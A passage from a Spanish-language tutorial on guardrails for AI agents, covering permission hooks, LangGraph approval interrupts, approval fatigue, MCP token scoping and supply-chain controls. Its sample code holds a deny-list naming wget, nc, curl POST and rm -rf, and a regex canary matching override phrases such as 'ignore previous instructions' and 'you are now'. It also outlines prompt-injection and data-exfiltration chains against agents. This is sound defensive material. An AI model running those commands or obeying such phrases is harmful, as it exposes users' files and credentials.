        "permissionDecisionReason": "writes outside workspace prohibited"
    }
}

El modelo recibe un deny estructurado. El reasoning loop de la Parte 1 lo gestiona como cualquier otra observación de herramienta: la denegación se convierte en contexto, el agente replantea el plan y el loop continúa. Eso es lo que aporta que «el permiso sea infraestructura». El deny se conecta al mismo mecanismo que gestiona un 500 de una herramienta HTTP. No es un flujo de seguridad separado que haya que añadir después.

Un anti-pattern habitual consiste en escribir un system prompt que diga «no elimines ningún archivo sin confirmación explícita del usuario», desplegar el agente y confiar en esa instrucción como control. Un prompt inyectado o un resultado de herramienta controlado por un atacante puede sortear esa instrucción. El modelo no es un motor de políticas. Puede seguir el patrón que has escrito o el que le ha proporcionado un atacante.


La aprobación humana solo funciona como escalado

La capa de filtrado de contenido envuelve la llamada al modelo y observa lo que dice. Las escaleras de permisos se ejecutan antes de la herramienta y observan lo que intenta hacer. La tercera capa, la que detecta lo que las dos primeras no han visto, es la persona. Bien planteada, la revisión human-in-the-loop (HITL) es un canal de escalado. Mal planteada, es un cuadro de diálogo que se aprueba el 93 % de las veces.

LangGraph proporciona la primitiva de pausa/reanudación. HumanLayer empaqueta el canal de aprobación, y los datos de uso de Anthropic muestran por qué hay que medir el número y la calidad de los escalamientos.

La primitiva de LangGraph

El interrupt() + Command(resume=value) de LangGraph pausa un grafo, persiste su estado mediante el checkpointer configurado y lo reanuda con un valor proporcionado por una persona. Que esa reanudación sea segura depende de un detalle de la documentación:

«Cuando la ejecución se reanuda (después de proporcionar la entrada solicitada), el runtime reinicia el nodo completo desde el principio; no continúa desde la línea exacta en la que se llamó a interrupt».

De ese comportamiento de reinicio se derivan tres restricciones:

1. Los efectos secundarios anteriores a interrupt() deben ser idempotentes. Cuando la persona responde, el nodo completo vuelve a ejecutarse desde arriba, no desde la línea interrupt(). Por tanto, si tu nodo envía un correo, pausa para pedir aprobación y después devuelve «enviado», al reanudarse el correo se enviará una segunda vez. Solución: coloca los efectos secundarios después de la interrupción o haz que sea seguro repetirlos (claves de deduplicación, upsert en lugar de insert y caché por ID de mensaje).

2. Las interrupciones se emparejan con las reanudaciones por índice, no por nombre. Si un mismo nodo tiene dos llamadas a interrupt(), LangGraph las empareja con valores Command(resume=...) en el orden en que se producen. Cualquier branching que cambie el número de interrupciones (un if que omita una al reanudar, o un loop que itere un número distinto de veces) desalineará los índices, de modo que un valor de reanudación puede acabar en la interrupción equivocada.

3. Mantén los payloads en formato JSON-safe. La documentación de LangGraph exige valores serializables como JSON para interrupt() y para los payloads de reanudación. Utiliza strings, números, booleanos, arrays y diccionarios que contengan esos valores. Evita funciones, instancias de clases y otros objetos complejos, porque la serialización depende del checkpointer configurado. Convierte los datos de aprobación en diccionarios y primitivas antes de pasarlos a interrupt() o exponerlos mediante una API HTTP.

Los tres patrones canónicos:

# No-run: illustrative LangGraph sketches; requires LangGraph, a tool decorator, interrupt, and smtp_send.
# (a) Approval gate
@tool
def send_email(to, subject, body):
    resp = interrupt({"action": "send_email", "to": to,
                      "subject": subject, "body": body})
    if resp.get("action") == "approve":
        return smtp_send(to, subject, body)
    return "Email cancelled"

# (b) Edit-and-continue
def review_node(state):
    edited = interrupt({"content": state["generated_text"]})
    return {"generated_text": edited}

# (c) Mid-run state correction — conditional edge
class AgeState(TypedDict):
    age: int | None
    pending_question: str | None

def get_age_node(state: AgeState):
    question = state.get("pending_question") or "What is your age?"
    answer = interrupt(question)  # once per node invocation
    if isinstance(answer, int) and answer > 0:
        return {"age": answer, "pending_question": None}
    return {"pending_question": f"'{answer}' is not valid. Please enter a positive number."}

def route_age(state: AgeState):
    return END if state.get("age") is not None else "get_age"

builder = StateGraph(AgeState)
builder.add_node("get_age", get_age_node)
builder.add_edge(START, "get_age")
builder.add_conditional_edges("get_age", route_age)

La reanudación es graph.invoke(Command(resume={"action": "approve"}), config=cfg). LangGraph 0.4+ admite reanudaciones basadas en diccionarios para múltiples interrupciones en ramas paralelas, algo importante en cuanto el agente se divide en varias ramas.

HumanLayer: la aprobación como producto

HumanLayer es la versión gestionada de la misma idea. Decoras una función y las peticiones de aprobación se envían a Slack, email o Discord, con reglas que determinan a quién avisar. Cuando el agente intenta llamar a multiply(2, 5), los logs tienen este aspecto:

last message led to 1 tool calls: [('multiply', '{"x":2,"y":5}')]
HumanLayer: waiting for approval for multiply

La persona responsable hace clic en aprobar o denegar en Slack. Si deniega, la documentación de HumanLayer lo expresa así: «HumanLayer transmitirá tus comentarios al agente, que podrá ajustar su enfoque». Esa última parte es lo que separa una capa HITL real de un simple diálogo de confirmación. La persona se convierte en una señal sobre la que el agente razona dentro del mismo loop, en lugar de ser un gate que solo entiende sí o no.

La fatiga de aprobación en los datos

Anthropic publicó los datos reales en febrero de 2026. Tres conclusiones importan más que el resto.

«Descubrimos que el 80 % de los tool calls proceden de agentes que parecen tener al menos algún tipo de salvaguarda (como permisos restringidos o requisitos de aprobación humana), que el 73 % parecen tener una persona en el loop de alguna forma y que solo el 0,8 % de las acciones parecen irreversibles».

Son buenas noticias. Considera el 80 % un límite superior, porque la nota al pie 14 de Anthropic añade que «Claude sobreestimaba a menudo la participación humana, por lo que esperamos que el 80 % sea un límite superior».

«Los usuarios más recientes (<50 sesiones) utilizan el auto-approve completo aproximadamente el 20 % de las veces; al llegar a 750 sesiones, esto aumenta a más del 40 % de las sesiones».

Esta es la deriva. Los usuarios empiezan con cautela y se vuelven menos cautos a medida que ganan confianza en la herramienta. Es lo que hacemos las personas y no constituye un defecto de carácter. Es una señal de telemetría que tu sistema debería seguir. (Una pequeña nota de verificación: la cobertura secundaria citó ampliamente la cifra como «20 % → más del 50 %». Según los datos primarios de Anthropic, la cifra verificada es 20 % → más del 40 %. Si has visto la cifra del 50 %, de ahí procede.)

El artículo de ingeniería de Anthropic de marzo de 2026 sobre el modo automático de Claude Code ofrece la cifra clave:

«Los usuarios de Claude Code aprueban el 93 % de los prompts de permisos. Hemos creado clasificadores para automatizar algunas decisiones, aumentando la seguridad y reduciendo la fatiga de aprobación… Si una sesión acumula 3 denegaciones consecutivas o 20 en total, detenemos el modelo y escalamos a una persona».

Cuando un diálogo se aprueba nueve de cada diez veces, deja de ser un control de seguridad fiable. Se convierte en telemetría. Los usuarios han aprendido a pulsar para continuar. La respuesta de Anthropic es arquitectónica. Un clasificador en dos etapas (un filtro rápido de un solo token y después chain-of-thought solo si se marca, con una tasa de falsos positivos del 0,4 %) elimina los prompts de aprobación para acciones de bajo riesgo y detiene el loop por completo si las denegaciones se agrupan.

Mide la calidad del escalado

Incluye en una allowlist las acciones rutinarias y reversibles, y regístralas. Escala las acciones cuyos efectos secundarios atraviesen un límite que el runtime no pueda deshacer, como un mensaje externo, una escritura en producción, un force push o un pago. Anthropic plantea el objetivo como mantener la capacidad humana de intervenir cuando la decisión tiene consecuencias reales.

Sigue el funnel completo en lugar de adoptar un objetivo de tasa de aprobación ajeno: acciones propuestas, aprobaciones automáticas, escalamientos, aprobaciones, denegaciones, ediciones e incidentes posteriores a la aprobación. Una tasa de aprobación alta puede significar que los prompts son ruido rutinario. Una tasa alta de denegaciones o ediciones puede indicar que el planner propone una acción incorrecta o que oculta la información que necesita quien aprueba. El umbral útil depende de la clase de acción y del coste de un allow incorrecto, así que establécelo a partir de tus propios datos de incidentes y revisiones.


Scoping de MCP y la supply chain

MCP conecta agentes con herramientas externas como Slack, GitHub y bases de datos, lo que convierte su modelo de autorización en parte del límite de seguridad. Las revisiones de la especificación de 2025 separaron los roles de token issuer y resource server, y añadieron resource indicators. Ese historial explica qué comprobaciones de audiencia y forwarding debe aplicar hoy un servidor.

La autorización de MCP en tres revisiones

La autorización era opcional para las implementaciones de MCP en la especificación 2025-03-26. Para un despliegue HTTP de producción que proteja datos de usuarios o herramientas, recomiendo OAuth 2.1 con PKCE (Proof Key for Code Exchange), que la especificación exige cuando una implementación admite autorización OAuth. El diseño inicial permitía que un único servidor MCP desempeñara dos roles. El authorization server emite tokens; el resource server los acepta. Son roles separados, aunque ambos los desempeñe un mismo servicio. Si ese servicio reenvía una petición a otro servidor, la misma credencial puede viajar a un lugar para el que nunca estuvo destinada. Ese es el agujero.

La revisión 2025-06-18 hizo explícitos los roles. Un servidor MCP protegido actúa como OAuth resource server, mientras que un authorization server emite el token. El authorization server puede estar alojado junto al resource server o ejecutarse por separado. Los Resource Indicators del RFC 8707 vinculan el token a un recurso objetivo, y los Protected Resource Metadata del RFC 9728 proporcionan al cliente una ruta explícita de descubrimiento. La especificación también prohíbe que un servidor MCP reenvíe upstream el token de un cliente.

La revisión 2025-11-25 mantuvo esa separación y trabajó en los aspectos que debe resolver correctamente un cliente. El descubrimiento del authorization server incorporó OpenID Connect Discovery, de modo que un cliente puede encontrar el issuer correcto en lugar de adivinarlo. El consentimiento incremental de scopes pasó a la cabecera WWW-Authenticate, lo que permite a un servidor solicitar un scope adicional en el momento en que lo necesita, en lugar de exigirlos todos de antemano. El registro de clientes incorporó OAuth Client ID Metadata Documents como mecanismo recomendado, sustituyendo el registro dinámico en la mayoría de los despliegues. El descubrimiento de Protected Resource Metadata también se alineó con el RFC 9728, haciendo que WWW-Authenticate sea opcional con .well-known como fallback.

Consulta la página de versionado antes de implementar. En agosto de 2026, la revisión actual es 2026-07-28. Exige que cada petición declare la versión del protocolo y permite al servidor aceptar o rechazar cada petición de forma independiente. Un cliente puede llamar a server/discover para seleccionar una versión de antemano, pero el descubrimiento es opcional. La declaración por petición y la negociación siguen siendo obligatorias, incluso cuando el cliente gestiona un error de versión no compatible y reintenta con una versión mutuamente compatible.

La vinculación a audiencia limita el replay contra el servidor MCP equivocado. No neutraliza el resto de la cadena de ataque de Claude Code descrita arriba: un hook en el host aún puede ejecutarse antes de que arranque el modelo y un proyecto no fiable aún puede intentar modificar la configuración local. El scope del token, la confianza en el proyecto, la política de hooks y el sandbox siguen siendo controles independientes.

Checklist de MCP para 2026

Si distribuyes o consumes MCP en producción:

  1. Considera la autenticación un requisito de producción, no un valor predeterminado del protocolo. MCP deja la autorización como opcional, pero recomiendo OAuth 2.1 con PKCE para un despliegue HTTP protegido. El CVE de Azure MCP Server se debía a la ausencia de autenticación. Si tu servidor acepta tráfico sin verificar las credenciales del llamante, has construido una herramienta que puede llamar cualquiera que tenga acceso a ella.
  2. Los tokens están vinculados a una audiencia. Solicita un token para el recurso MCP objetivo y valida que el token presentado incluya tu servidor como audiencia. Rechaza los tokens emitidos para otro recurso.
  3. Aísla deliberadamente la autoridad de lectura y escritura. MCP vincula un token a un resource server, no a una herramienta individual. Si un servidor de Slack acepta una credencial con chat:write y la dirige tanto a handlers de lectura como de escritura, una herramienta orientada a lectura puede convertirse en una ruta de envío de mensajes mediante la política de ese servidor. Utiliza resource servers o credenciales y comprobaciones de autorización independientes cuando las operaciones de lectura y escritura necesiten radios de impacto separados.
  4. Usa tokens nuevos y de corta duración en lugar de API keys permanentes. El patrón del vault de Claude Managed Agents (ingeniería de Anthropic) es la referencia: el propio agente nunca ve las credenciales reales. Un servicio intermediario las custodia, obtiene un token nuevo cuando se llama a una herramienta, lo usa en nombre del agente y devuelve únicamente el resultado.

Los controles de la supply chain siguen siendo aplicables

Los incidentes de axios y Trivy son fallos conocidos de paquetes y de la supply chain de CI aplicados a sistemas que automatizan la instalación de dependencias. La automatización aumenta el número y la velocidad de las ejecuciones, por lo que los controles de versión, procedencia y revisión deben ejecutarse antes de que el comando generado llegue a CI o a un sandbox.

La defensa es sencilla:

  • Fija las versiones en el lockfile. Los agentes nunca deben resolver una versión flotante: ni @latest, ni npm update, ni --upgrade.
  • Analiza en CI con herramientas independientes del componente que se está comprobando.
  • Utiliza GitHub commit SHAs para Actions, no tags.
  • Revisa los diffs de dependencias en las PRs generadas por agentes antes de hacer merge.

Son controles estándar de la supply chain. La automatización de agentes cambia su frecuencia, no su mecanismo.


Un stack de políticas para el Market Analyst Agent

El Market Analyst Agent de la Parte 1 es un agente pequeño de LangGraph que obtiene datos de mercado y escribe un informe de análisis; pero no es tan pequeño como su descripción sugiere. Además de las herramientas de datos de mercado, ejecuta una CLI incluida en una allowlist mediante subprocess, evalúa Python escrito por el modelo dentro del proceso y puede ejecutar una operación. Son tres de las clases de capacidades tratadas en este artículo, en un agente que nadie consideraría arriesgado. Este es el aspecto de un stack de políticas mínimo.

Capa 1: un hook PreToolUse que deniega antes de ejecutar

Incluso un agente que «solo lee datos bursátiles» puede intentar acceder a cosas que no debería: un curl a una URL controlada por un atacante, escrituras fuera del workspace o mutaciones git en el repositorio del host. Una regla de deny es infraestructura, no un prompt. El esquema siguiente devuelve la forma de decisión propia del agente, no el envelope hookSpecificOutput que espera Claude Code alrededor de la llamada.

# agent/permissions.py
from pathlib import Path

DENY_COMMANDS = frozenset({
    "rm -rf", "sudo", "chmod 777",
    "curl -X POST", "wget", "nc ",
})
WORKSPACE = Path("./workspace").resolve()

def _outside_workspace(path: str) -> bool:
    # Resolve first: "~/.ssh/id_rsa" and "workspace/../../etc" both
    # have to become real paths before the comparison means anything.
    return not Path(path).expanduser().resolve().is_relative_to(WORKSPACE)

def pre_tool_use(tool_name: str, args: dict) -> dict | None:
    if tool_name == "shell":
        cmd = args.get("command", "")
        if any(bad in cmd for bad in DENY_COMMANDS):
            return {"permissionDecision": "deny",
                    "reason": f"command pattern disallowed: {cmd!r}"}
    if tool_name == "write_file":
        path = args.get("path", "")
        if _outside_workspace(path):
            return {"permissionDecision": "deny",
                    "reason": f"path outside workspace: {path!r}"}
    return None  # fall through to mode / canUseTool

El esquema hace visible el punto de control. El hook devuelve un deny estructurado y el reasoning loop recibe esa denegación como observación de una herramienta.

La comprobación de rutas es una allowlist: una única raíz de workspace y todo lo demás denegado. Una deny-list de prefijos prohibidos solo bloquea las rutas que se te hayan ocurrido. ~/.ssh/id_rsa nunca se escribe exactamente como lo anotaste. La comprobación del comando sigue siendo una deny-list. La coincidencia de subcadenas no es una política shell de producción. Una implementación real debe analizar el comando y confiar en el sandbox del SO cuando llegue a ejecutarse.

Capa 2: un canary de entrada para prompt injection

El secuestro del objetivo del agente (ASI01) suele llegar a través de una página web recuperada, un mensaje del usuario o un PDF de un artículo de investigación. Un canary barato basado en regex detecta patrones literales de instrucciones y genera un evento de telemetría útil. No detectará inyecciones ofuscadas, multilingües o dependientes del contexto, por lo que no puede actuar como límite de decisión:

# agent/input_canary.py
import re

INJECTION_PATTERNS = [
    re.compile(r"ignore\s+(?:all\s+|any\s+|the\s+)?"
               r"(?:previous\s+|prior\s+|above\s+|earlier\s+)?"
               r"(?:instructions|rules|prompts?)",
               re.IGNORECASE),
    re.compile(r"you are now|act as|roleplay as", re.IGNORECASE),
    re.compile(r"system[ _:]*prompt", re.IGNORECASE),
    re.compile(r"<\|im_(start|end)\|>"),
]

def input_canary(text: str) -> dict | None:
    for pat in INJECTION_PATTERNS:
        m = pat.search(text)
        if m:
            return {"flag": "possible_injection", "match": m.group(0)}
    return None

Registra las entradas marcadas; no las rechaces automáticamente. Los falsos positivos son costosos en un asistente de investigación. Pero el log permite detectar que el número de alertas de un usuario se ha disparado de repente.

Capa 3: validación de structured output mediante un hook de parada

Un modelo de Pydantic más un hook Stop proporcionan un loop ajustado de validar y reintentar para generar informes. El agente no puede afirmar que ha terminado hasta que la salida supere la validación del schema y una smoke test:

# No-run: illustrative policy sketch; requires Pydantic and the repo-local agent.schemas module.
# agent/stop_hook.py
from pydantic import ValidationError
from agent.schemas import MarketReport

def on_stop(final_output: str) -> dict:
    try:
        report = MarketReport.model_validate_json(final_output)
    except ValidationError as e:
        return {"decision": "continue",
                "feedback": f"schema invalid: {e.errors()[:3]}"}
    if not report.tickers:
        return {"decision": "continue",
                "feedback": "no tickers in report — did you skip the snapshot step?"}
    return {"decision": "allow_stop"}

Una comprobación del schema y una smoke test son la diferencia entre «el agente ha dicho que ha terminado» y «la salida es realmente un informe».

Capa 4: un gate de interrupción para acciones salientes

El analista de mercado ya dispone de una herramienta irreversible, execute_trade, y cualquier herramienta saliente que incorpore —email, Slack o un informe para un cliente— pertenece a la misma categoría. El patrón no cambia con la herramienta. Envuélvela en interrupt():

# No-run: illustrative outbound-tool sketch; requires LangGraph, a tool decorator, and smtp_send.
# agent/tools/notify.py
from langgraph.types import interrupt

@tool
def send_report(to: str, body: str):
    resp = interrupt({
        "action": "send_report",
        "to": to,
        "body_preview": body[:400],
    })
    if resp.get("action") == "approve":
        return smtp_send(to, body)
    return "send cancelled by human"

Las acciones salientes completan la tríada letal. Establéceles un gate explícito cuando el destino o el contenido salgan del radio de impacto normal del agente. Los mensajes dirigidos a finanzas, clientes o destinatarios externos deben incluir suficiente previsualización y procedencia para que quien aprueba entienda qué se va a enviar.

Lo que este stack no hace

Esto no protege frente a:

  • Una dependencia upstream comprometida (tipo axios). El agente ejecuta lo que indica uv sync.
  • Un .mcp.json malicioso en un repositorio clonado (tipo CVE-2025-59536). El modelo de permisos del cliente MCP del host es donde se detecta, no en el código del agente.
  • Una cadena de robo de datos construida con herramientas legítimas (tipo EchoLeak): el agente lee datos privados, obtiene URLs externas y envía mensajes fuera. Necesitas el enfoque de la tríada: no combines esas tres capacidades.
  • Un escape de execute_python_analysis, el evaluador de Python dentro del proceso del agente. Bloquea una lista de tipos de sentencia, rechaza cualquier identificador que empiece por un guion bajo y solo permite imports desde json, math y statistics. Pero exec en el proceso worker no es un límite: un bypass se ejecuta con los file handles y la red del worker. Muévelo a un subprocess con límites de CPU y memoria antes de evaluar cualquier contenido influido por una fuente no fiable.

Estas cuatro capas son políticas locales, y la política local es la capa más interna que controlas, no la única. Cada elemento de esa lista debe capturarse en otro lugar: en el lockfile, en el cliente MCP, en el límite de proceso alrededor del código generado o en la decisión de no entregar a un único agente las tres capacidades de la tríada.


Conclusiones clave

  1. Los filtros de contenido y las políticas de ejecución protegen límites distintos. Los filtros inspeccionan la entrada y la salida del modelo. La autorización de herramientas, el scope de las credenciales, los sandboxes y los controles de la supply chain actúan sobre las rutas utilizadas en los seis incidentes.
  2. La mayoría de las categorías de OWASP ASI requieren controles fuera de la salida del modelo. Utiliza la lista para asociar cada amenaza con el componente que realmente puede bloquearla o registrarla.
  3. El permiso es infraestructura, no un prompt. Claude Code documenta la precedencia de las reglas deny, ask y allow, mientras PreToolUse puede bloquear antes de la ejecución. El Claude Agent SDK expone una ruta canUseTool independiente. Otros runtimes necesitan un modelo de precedencia igualmente comprobable.
  4. Trata el deny estructurado de un hook PreToolUse como una observación más de herramienta. El reasoning loop ya lo gestiona. No necesitas un flujo de seguridad separado.
  5. Una tasa de aprobación del 93 % es una señal para revisar la calidad de los prompts y la frecuencia de los escalamientos. Haz seguimiento de ediciones, denegaciones e incidentes posteriores a la aprobación en lugar de copiar un objetivo universal.
  6. Los tokens vinculados a audiencia y los vaults por sesión limitan el replay y la exposición de credenciales. No sustituyen la confianza en el proyecto, la política de hooks ni el sandbox.
  7. Las comprobaciones de la supply chain deben ejecutarse a la velocidad de la automatización. Fija versiones y SHAs de Actions, analiza en CI y revisa los cambios de dependencias en las pull requests generadas por agentes.
  8. Construye la capa de políticas de modo que el lanzamiento de un producto nuevo no la invalide. OpenAI Agents SDK, Codex CLI y Claude Code expresan las mismas primitivas de formas distintas. Las primitivas —escaleras de permisos, hooks, sandboxes, interrupciones y tokens vinculados a audiencia— son aquello por lo que estás apostando.

La siguiente capa es el runtime

La Parte 5, Long-Running AI Agent Runtime, muestra dónde viven el sandbox, el secret broker, el checkpoint y la traza de auditoría durante una ejecución prolongada. La Parte 6 se adentra después en el harness, donde esta escalera de permisos es una etapa entre varias, y analiza cómo las comprobaciones de aceptación, los reintentos y la evaluación basada en trazas evitan que el loop declare el éxito demasiado pronto. También añade una pregunta que este artículo no necesitaba: si es seguro volver a enviar una llamada que agotó el tiempo de espera cuando estaba a medio ejecutar.


Referencias

Los marcos conceptuales

Productos de guardrails para LLM

Incidentes

Superficies de políticas

HITL

OWASP


The policy layer del Market Analyst Agent vive en el grafo combinado de análisis a operación, no en el grafo de análisis listado en la Parte 1. Es un nodo guardián determinista que rechaza acciones restringidas, aprueba automáticamente las de bajo valor y escala el resto a un nodo de responsable de compliance antes de que el grafo se detenga con interrupt_before. La capa de políticas está en GitHub. El hook de deny, el canary de entrada y el validador del Stop-hook anteriores son esquemas de esos mismos puntos de control. Están escritos para leerse, no para copiarse directamente en ese repositorio.